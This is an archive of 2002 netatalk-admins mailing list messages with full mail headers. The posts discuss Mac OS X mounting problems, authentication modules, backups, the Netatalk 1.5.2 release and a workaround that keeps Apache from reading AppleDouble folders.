	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 01:42:37 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id BAA13165
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 01:42:37 -0500 (EST)
Received: from redwood.myhouse.com (adsl-63-206-168-17.dsl.sktn01.pacbell.net [63.206.168.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id BAA13153
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 01:42:35 -0500 (EST)
Received: (qmail 5902 invoked from network); 16 Feb 2002 06:42:35 -0000
Received: from unknown (HELO win2k) (192.168.40.10)
  by 0 with SMTP; 16 Feb 2002 06:42:35 -0000
Message-ID: <001d01c1b672$0acb30e0$0a28a8c0@myhouse.com>
From: "Tyler Hardison" <thardison@modbee.com>
To: <netatalk-admins@umich.edu>
References: <B8934422.93%rzeman@his.com>
Subject: Re: MacOS-X issues.
Date: Fri, 15 Feb 2002 22:42:26 -0000
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 6.00.2600.0000
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2600.0000

Well here is a list of what I have found so far:

* No mounts in GUI.
    1. This works on my machine 10.1.2 I believe. With the default install.
        If someone would like a shell account on my machine to play with
this let me know.
* Server mounts then promptly dismounts.
    1. Its fascinating to note that I had this problem at first too. But
compiling the current source
        seems to have eliminated this problem. Go figure.

Let me add my experiences:

* Large ammounts of files being copied causes a -43 error (too many open
files) or -50 (Error in User Param List?)
    1. Is darwin atempting to open more files at one time then OS9 would? Is
this possible?
    2. Could this be why at first it looks like darwin is going to kick
OS9's butt on the file copy speed? Food for thought.

Anyone want to add to this list. I am trying to find a common thread to the
existing problems.

Thanks

Tyler Hardison
Systems Technician
The Modesto Bee
(209) 578-2264

P.S. Anyone here using this in a large scale enviroment? If so I would like
testimony. I am trying to put together a
proposal to get rid of our NT/2000 file servers.

----- Original Message -----
From: "Rick Zeman" <rzeman@his.com>
To: "Kyle Johnson" <kyle.johnson@duke.edu>; "Netatalk"
<netatalk-admins@umich.edu>
Sent: Saturday, February 16, 2002 4:02 AM
Subject: Re: MacOS-X issues.


> On 2/15/02 10:48 PM, "Kyle Johnson" <kyle.johnson@duke.edu> wrote:
>
> > On 2/15/02 8:57 PM, "Tyler Hardison" <thardison@MODBEE.COM> wrote:
> >
> >>   Can anyone tell me what the current issues with OS-X based machines
and
> >> netatalk?
> >
> > Just this morning I asked just the same thing.  The one big one seems to
be
> > that you can't keep a server mounted via the GUI.  Even with 1.5.1.1 I
get a
> > disconnect message right after the connect.  One of our Linux geeks sent
me
> > this link:
> >
> > <http://marc.theaimsgroup.com/?l=netatalk&m=101290312429385&w=2>
>
> I had a problem mounting Netware shares (via AFP/IP) and found this to be
> the solution for gigabit-Ethernet Macs:
>
> Add to your /etc/rc file (as a superuser):
> sysctl -w net.link.ether.inet.apple_hwcksum_rx=0
>
>  at the second to last line (right before the exit).  Reboot, and mounts
> should work normally.
>


From netatalk.administrators-errors@umich.edu  Sat Feb 16 05:50:06 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id FAA16179
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 05:50:06 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id FAA13788
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 05:50:05 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id FAA13781
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 05:50:05 -0500 (EST)
Received: from carbon.btinternet.com (carbon.btinternet.com [194.73.73.92])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id FAA13769
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 05:50:04 -0500 (EST)
Received: from host213-122-54-94.in-addr.btopenworld.com ([213.122.54.94] helo=nexus.local.net)
	by carbon.btinternet.com with esmtp (Exim 3.22 #8)
	id 16c2Pq-0006rv-00; Sat, 16 Feb 2002 10:50:02 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id KAA19200;
	Sat, 16 Feb 2002 10:43:37 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510030db893e64becb2@[10.0.1.10]>
In-Reply-To: <B892AB5A.B33F%sflist@ihonk.com>
References: <B892AB5A.B33F%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Sat, 16 Feb 2002 10:43:34 +0000
To: Steve Freitas <sflist@ihonk.com>,
        netatalk-admins <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: logging in (slight return)
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:11 pm -0800 15/2/02, Steve Freitas wrote:
>Ahh. If you don't have lsof installed on your system, I understand why you
>wouldn't have a man page for it. But you didn't mention that, so I'd assumed
>your lsof package was just put together by a lamer. :-)
>...
>You should have it on every *nix box you run. In this case, it can tell you
>which UAMs afpd has open.


OK, just got it, looks great, really useful. Had never heard of it 
before, now I have:-)

Thanks.


>>>>  How do you choose which authentication scheme to use anyway?
>>>
>>>  If I understand correctly, you set what UAMs are available for Netatalk's
>>>  use in netatalk.conf. Then you can edit which ones are actually used in
>>>  afpd.conf.
>>
>>
>>  All the uam stuff in afpd.conf is commented out, yet it certainly
>>  uses the guest uam specified in netatalk.conf and I guess the
>>  cleartxt one too. So I still don't get the relationship between these
>>  instances.
>
>I'm a bit fuzzy on the relationship myself. I just use Netatalk in its
>default config, with the exception that I comment the guest UAM line in
>netatalk.conf so guest logins are off. Is your line commented?


No, I want guest access to some shares.


>For authentication, DHX is the default, but Netatalk also defaults to fall
>back to cleartext for a client that doesn't support DHX.


I would guess that netatalk.conf specifies the overall list of uams 
available and afpd.conf allows you to specify uams by server, so you 
can have different auth for different servers. Just my guess though.

BTW, the uams I compiled are several times larger than those that 
came with the mandrake rpm. Since it ought to have been the same 
actual source used for these how can they end up so different in size?
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sat Feb 16 06:18:09 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA17334
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 06:18:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GBI9V13177
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 06:18:09 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GBI8M13171
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 06:18:08 -0500 (EST)
Received: from mout01.kundenserver.de (mout01.kundenserver.de [195.20.224.132])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GBI7Y13160
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 06:18:07 -0500 (EST)
Received: from [172.19.20.60] (helo=mrelayng0.kundenserver.de)
	by mout01.kundenserver.de with esmtp (Exim 2.12 #2)
	id 16c2qy-0006rA-00
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 12:18:04 +0100
Received: from [62.158.202.181] (helo=[62.158.202.181])
	by mrelayng0.kundenserver.de with asmtp (Exim 3.22 #2)
	id 16c2qv-0005rX-00
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 12:18:02 +0100
User-Agent: Microsoft-Entourage/9.0.2.4011
Date: Sat, 16 Feb 2002 12:18:13 +0100
Subject: Re: Backing up a Netatalk share.
From: Thomas Schierle <ts@visual-s.de>
To: Netatalk-Admins <netatalk-admins@umich.edu>
Message-ID: <B8934FED.3041B%ts@visual-s.de>
In-Reply-To: <p05100301b8931b13acfa@[128.172.20.37]>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2002-02-15 21:10 +0100, Robert Thiemann wrote:

> No, the idea was to back up the AppleTalk shares via Retrospect (on a
> separate machine, obviously) to tape.
> 
> The server I need to back up is my production server. We have a 10
> tape autoloader that is used to back up via Retropsect. Im migrating
> from NT4, where I just mounted the shares, used NT's ACLs to give the
> Backup Operate full control of the shares being backed up.
> 
> We're an almost complete Mac-shop except for the server and two PCs.
> I need to make sure the Resource info doesn't get munged.

I don't remember your original request, but may be Netatalks admin
group feature is what you are looking for? -- A member of admin group
is granted supervisor rights for all sharepoints provided by Netatalk.

-Thomas

-- 
Thomas Schierle, Munich, Germany

PGP key [DSS/DH] 0xA23CDA1D available at various public key servers


From netatalk.administrators-errors@umich.edu  Sat Feb 16 06:27:20 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA17692
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 06:27:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA03794
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 06:27:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA03790
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 06:27:19 -0500 (EST)
Received: from naxos.unice.fr (naxos.unice.fr [134.59.1.5])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA03779
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 06:27:18 -0500 (EST)
Received: from unice.fr (irisiag.unice.fr [134.59.51.51])
          by naxos.unice.fr (8.9.3/jtpda-5.3.3) with ESMTP id MAA274103
          ; Sat, 16 Feb 2002 12:27:15 +0100 (MET)
Sender: dmattei@unice.fr
Message-ID: <3C6E4226.1E8C0DC1@unice.fr>
Date: Sat, 16 Feb 2002 12:27:34 +0100
From: Damien MATTEI <Damien.Mattei@unice.fr>
X-Mailer: Mozilla 4.75C-SGI [en] (X11; I; IRIX 6.5 IP22)
X-Accept-Language: en
MIME-Version: 1.0
To: Kyle Johnson <kyle.johnson@duke.edu>
CC: netatalk-admins@umich.edu
Subject: Re: Disconnect from OSX (is this a known issue)?
References: <B8928D3F.79C6%kyle.johnson@duke.edu>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Kyle Johnson wrote:
> 
> I'm running Netatalk 1.5.1.1 on Redhat Linux 7.2.  Previously we had the
> 1.5pre2 release (I think that's what Redhat is still shipping by default).
> The problem I am having with both versions is that I can't maintain a mount
> on my OSX 10.1.2 box.  I can select the server either via URL or the network
> browser, and I get authenticated, but after I select the volume I want to
> mount I immediately get a message saying:
> 
>   The fileserver <servername> has unexpectedly closed down.
> 
> Is there a configuration change that needs to be made, or does this just not
> work.  I have feeling this has been asked before, but since there's no
> searchable list archive I could find...  '-)
> 
> Thanks.
> 
> /kyle
> ---
> Kyle Johnson                                     kyle.johnson@duke.edu
> Manager, Information Systems        http://www.studentaffairs.duke.edu
> Duke University Student Affairs
> -----------------------------------------------------------------------
> If it's in stock, we've got it.
i had the same problem using redhat 7.2 and netatalk1.5pre2 (which isn't
shipped with but can be download from redhat) and i am usin mac os 10.4
if put a -loginmsg in afpd.conf it connect but i can't copy files.
I'm now using netatalk1.5.1-1 and i can connect and copy files, i
experience disconnection after more than 1 hour idle.
-- 
Damien Mattei					Phone: +33 (0)4 93 37 76 66
C.N.R.S / U.N.S.A				Fax:   +33 (0)4 93 53 30 71
UMR 6549 Instabilite & Alterations des Genomes	E-mail: mattei@unice.fr
Faculte de Medecine - Avenue de Valombrose - 06107 NICE Cedex 2 - France

From netatalk.administrators-errors@umich.edu  Sat Feb 16 06:35:07 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id GAA18172
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 06:35:07 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GBZ7219976
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 06:35:07 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GBZ7s19972
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 06:35:07 -0500 (EST)
Received: from hirsch.in-berlin.de (hirsch.in-berlin.de [192.109.42.6])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GBZ6Y19964
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 06:35:06 -0500 (EST)
Received: from hirsch.in-berlin.de (localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id g1GBZ3Fw020113
	(version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NOT)
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 12:35:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id g1GBZ3CK020111
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 12:35:03 +0100
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: netatalk-admins@umich.edu
Received: from srittau by jroger.in-berlin.de with local (Exim 3.34 #1 (Debian))
	id 16c2FJ-0000Tm-00; Sat, 16 Feb 2002 11:39:09 +0100
Date: Sat, 16 Feb 2002 11:39:09 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Netatalk 1.5.2 out
Message-ID: <20020216103908.GA1761@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.27i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

Netatalk 1.5.2 is now available at http://www.sf.net/projects/netatalk/
Changes from version 1.5.1 (and 1.5.1.1) include:

* NEW: NetBSD support contributed by David Rankin and NetBSD contributors.
       This includes a new configure option --enable-netbsd.
* NEW: Add the -client_polling afpd.conf flag to allow for clients to poll
       the server every 10 seconds for open window updates.  Currently
       this is the only way to get asynchronous directory updates.
* UPD: Use separate macro for AFS configure check.
* UPD: Some Perl scripts are now (partially) auto-generated. This improves
       out-of-the-box usage of Netatalk.
* UPD: Solaris Kernel Makefile is now auto-generated. This fixes some path
       issues, but isn't perfect, yet. Added some Solaris compatibility
       fixes to the Kernel sources, too.
* UPD: CNID DB code sync'd with the current CVS version.  NOTE: Using this
       code requires you to delete _all_ existing .AppleDB directories in
       order to avoid database corruption!
* FIX: The file AppleVolumes.system contained wrong line breaks so that
       not all file types were properly recognized.
* FIX: AFS compilation would fail due to a misnamed variable.
* FIX: SLP configure check was wrong so SLP did not compile.
* FIX: Fix the way quotas are handled under certain situations.
* FIX: Do not enable debugging code if debugging option is not set.
* FIX: Some problems with wrongly assigned DIDs were fixed.
* FIX: Various bug fixes and code cleanups.

The follow-up release 1.5.3 will be released in about two to three weeks
and will contain mainly bug fixes and code maintainance fixes. If you
find major bugs in 1.5.2 please report them as soon as possible so that
we can get proper fixes written and tested well before the next release.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sat Feb 16 07:00:10 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA19177
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 07:00:10 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GC0AN28721
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 07:00:10 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GC09928719
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 07:00:09 -0500 (EST)
Received: from tungsten.btinternet.com (tungsten.btinternet.com [194.73.73.81])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GC08Y28711
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 07:00:09 -0500 (EST)
Received: from host213-122-163-247.in-addr.btopenworld.com ([213.122.163.247] helo=nexus.local.net)
	by tungsten.btinternet.com with esmtp (Exim 3.22 #8)
	id 16c3Ve-0006cb-00
	for netatalk-admins@umich.edu; Sat, 16 Feb 2002 12:00:07 +0000
Received: from [10.0.1.10] (KenG3.local.net [10.0.1.10])
	by nexus.local.net (8.9.3/8.9.3) with ESMTP id LAA19331
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 11:10:53 GMT
Mime-Version: 1.0
X-Sender: ken@mail.local.net (Unverified)
Message-Id: <p0510030eb893e9459fcc@[10.0.1.10]>
In-Reply-To: <B892AD6C.B348%sflist@ihonk.com>
References: <B892AD6C.B348%sflist@ihonk.com>
X-Mailer: Eudora for Macintosh!
Date: Sat, 16 Feb 2002 11:10:51 +0000
To: netatalk-admins <netatalk-admins@umich.edu>
From: Ken Gillett <keng@BTInternet.com>
Subject: Re: AppleDouble & apache
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 12:19 pm -0800 15/2/02, Steve Freitas wrote:
>Let's see, a couple of ideas. First, I don't think BBEdit will save resource
>information unless you tell it to change your filetypes to BBEdit type.


I do really want them to be BBEdit files so I can just dbl click them 
to edit. If I can stop it writing resource data I can use an 
extension to map to BBEdit filetype so double clicking still works, 
but I couldn't see a way to stop BBEdit from wanting to store the 
resource info. I might have missed something though.


>So you should be able to save without BBEdit creating an AppleDouble file, and
>if you specify "noadouble" as an option for that volume in
>AppleVolumes.default, that might solve the problem.


I tried noadouble but the icons just dance all over the place. As 
soon as I removed that option everything's perfect again. In any case 
I only want noadouble on this folder in a share that otherwise needs 
.AppleDouble.


>Another idea: Set up your permissions so that apache can't read inside the
>.AppleDouble folder, but the user you're using to write the config files
>can.


I also thought about that, but AFAICT apache runs as root as it seems 
to be able to read the .AppleDouble directory whatever the 
permissions I give it (while still allowing BBEdit to write to it of 
course).


>>  From: Ken Gillett <keng@BTInternet.com>
>>  I have a shared folder that I want to specify as containing
>>  configuration files to be included as part of apache's configuration.
>>  The trouble is that apache parses the .AppleDouble folder and
>>  everything in it and none of it makes any sense in terms of apache,
>>  so understandably it fails to start. I have found that if I ensure it
>>  is empty and not writable by the user who has it mounted (so nothing
>>  can be saved in there) then apache is happy with that empty folder.
>>
>>  But, I cannot edit these files on the Mac side (the whole point of
>>  mounting it) since BBEdit HAS to save stuff in the .AppleDouble
>>  folder (which it cannot do) so the save fails.
>>
>>  Of course it only applies to this folder which is specified as
>>  'Include'd in httpd.conf.
>>
>>  Can anyone suggest a way to allow resource data to be saved, yet
>>  preventing apache from trying to read it as configuration data on
>>  startup?


At 2:32 pm -0600 15/2/02, Robert J. Rust wrote:
>>
>>  I haven't tried this, but what if you create a symbolic link from the apache
>>  config directory to a copy which is in an area mounted from the Mac.
>>  That way all apache would see is the link.  I assume apache would follow the
>>  link.
>>
>>  Chris
>
>Actually, I would symlink to the config files themselves rather than the
>directory.  That way you could put the symlink somewhere where BBEdit had
>the ability to create the file in .AppleDouble that it wants, and still
>actually edit the data in the config files.  This would involve multiple
>symlinks, but I think it's doable.


Currently I have the real files in an area writable by BBEdit and 
then links to them in the apache config directory which has an empty 
.AppleDouble folder so it works. But it makes adding a new virtual 
host a bit more complex than simply dropping the new file into the 
appropriate folder as the new link also needs to be created. Not a 
big deal, but I'd prefer to avoid it if possible.
-- 



Ken  G i l l e t t

_/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sat Feb 16 07:30:37 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id HAA20462
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 07:30:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA13443
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 07:30:37 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA13439
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 07:30:37 -0500 (EST)
Received: from mail5.nc.rr.com ([24.93.67.52])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id HAA13424
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 07:30:36 -0500 (EST)
Received: from [192.168.1.14] ([24.25.10.149]) by mail5.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Sat, 16 Feb 2002 07:29:52 -0500
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Sat, 16 Feb 2002 07:29:51 -0500
Subject: Re: MacOS-X issues.
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B893BAEF.7A8A%kyle.johnson@duke.edu>
In-Reply-To: <B8934422.93%rzeman@his.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/15/02 11:02 PM, "Rick Zeman" <rzeman@his.com> wrote:

> Add to your /etc/rc file (as a superuser):
> sysctl -w net.link.ether.inet.apple_hwcksum_rx=0

This didn't help me on my Powerbook from either the wireless network or the
wired one.

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
Whatever happens, behave like you meant it to happen.


From netatalk.administrators-errors@umich.edu  Sat Feb 16 08:15:30 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id IAA21824
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 08:15:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GDFUs26446
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 08:15:30 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GDFUR26439
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 08:15:30 -0500 (EST)
Received: from mail7.nc.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GDFTY26432
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 08:15:29 -0500 (EST)
Received: from [192.168.1.14] ([24.25.10.149]) by mail7.nc.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Sat, 16 Feb 2002 08:15:19 -0500
User-Agent: Microsoft-Entourage/10.0.1.1705
Date: Sat, 16 Feb 2002 08:15:17 -0500
Subject: Re: MacOS-X issues.
From: Kyle Johnson <kyle.johnson@duke.edu>
To: Netatalk <netatalk-admins@umich.edu>
Message-ID: <B893C595.7A90%kyle.johnson@duke.edu>
In-Reply-To: <001d01c1b672$0acb30e0$0a28a8c0@myhouse.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On 2/15/02 5:42 PM, "Tyler Hardison" <thardison@modbee.com> wrote:

> * Server mounts then promptly dismounts.
>   1. Its fascinating to note that I had this problem at first too. But
> compiling the current source seems to have eliminated this problem.
> Go figure.

I've been using a RPM of 1.5.1.1 for Redhat that someone else prepared.  Do
you have the config options you used to compile it?  Maybe I can compare and
see what is different.

Also, adding the login message now allows me to mount the server.  I'm still
testing regarding the disconnect after awhile.

/kyle
---
Kyle Johnson                                     kyle.johnson@duke.edu
Manager, Information Systems        http://www.studentaffairs.duke.edu
Duke University Student Affairs
-----------------------------------------------------------------------
Ham and Eggs. Just a day's work for a chicken but a lifetime commitment
for a pig.


From netatalk.administrators-errors@umich.edu  Sat Feb 16 09:38:57 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id JAA24154
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 09:38:57 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with LDAP id g1GEcuJ00895
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 09:38:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (3.6u) with X.500 id g1GEcuC00893
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 09:38:56 -0500 (EST)
Received: from max.hkust.se (max.hkust.se [194.18.100.146])
	by kidgalahad.mr.itd.umich.edu (3.6u) with ESMTP id g1GEcsY00877
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 09:38:55 -0500 (EST)
Received: from hkust.se (as4-4-7.dp.m.bonet.se [194.237.47.33])
	(authenticated)
	by max.hkust.se (8.11.6/8.11.6) with ESMTP id g1GEgLx12848;
	Sat, 16 Feb 2002 15:42:21 +0100
Message-ID: <3C6E6EF4.FF629BE0@hkust.se>
Date: Sat, 16 Feb 2002 15:38:44 +0100
From: Magnus Stenman <stone@hkust.se>
X-Mailer: Mozilla 4.79 [en] (Windows NT 5.0; U)
X-Accept-Language: en, sv
MIME-Version: 1.0
To: Ken Gillett <keng@BTInternet.com>
CC: netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: AppleDouble & apache
References: <B892AD6C.B348%sflist@ihonk.com> <p0510030eb893e9459fcc@[10.0.1.10]>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Ken Gillett wrote:
> 
> At 12:19 pm -0800 15/2/02, Steve Freitas wrote:
..
> >
> >Actually, I would symlink to the config files themselves rather than the
> >directory.  That way you could put the symlink somewhere where BBEdit had
> >the ability to create the file in .AppleDouble that it wants, and still
> >actually edit the data in the config files.  This would involve multiple
> >symlinks, but I think it's doable.
> 
> Currently I have the real files in an area writable by BBEdit and
> then links to them in the apache config directory which has an empty
> .AppleDouble folder so it works. But it makes adding a new virtual
> host a bit more complex than simply dropping the new file into the
> appropriate folder as the new link also needs to be created. Not a
> big deal, but I'd prefer to avoid it if possible.
> --

Stick something like this into your apache (re)start scripts:

VH=/path/to/apacheconfig/vhosts/
AVH=/path/to/macfiles/vhosts/
rm $VH/*
for f in $AVH/*; do ln -s "$f" $VH; done

*or*

>vhosts.conf
find $AVH -type d -o -path '*AppleDouble*' \
	-o -exec echo "include {}" >> vhost.conf \;


(include vhost.conf from httpd.conf)

 

/magnus

> 
> Ken  G i l l e t t
> 
> _/_/_/_/_/_/_/_/_/

From netatalk.administrators-errors@umich.edu  Sat Feb 16 10:53:31 2002
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (3.5t) with ESMTP id KAA26766
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sat, 16 Feb 2002 10:53:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id KAA06831
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sat, 16 Feb 2002 10:53:31 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id KAA06816
	for netatalk.administrators-members@umich.edu; Sat, 16 Feb 2002 10:53:30 -0500 (EST)
Received: from mail.his.com (herndon10.his.com [209.67.207.13])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id KAA06798
	for <netatalk-admins@umich.edu>; Sat, 16 Feb 2002 10:53:29 -0500 (EST)
Received: from [192.168.1.250] (dsl092-166-101.wdc1.dsl.speakeasy.net [66.92.166.101])
	by mail.his.com (8.9.3/8.9.3) with ESMTP id KAA23111;
	Sat, 16 Feb 2002 10:53:27 -0500 (EST)
User-Agent: Microsoft-Entourage/10.0.0.1331
Date: Sat, 16 Feb 2002 10:53:25 -0500
Subject: Re: MacOS-X issues.
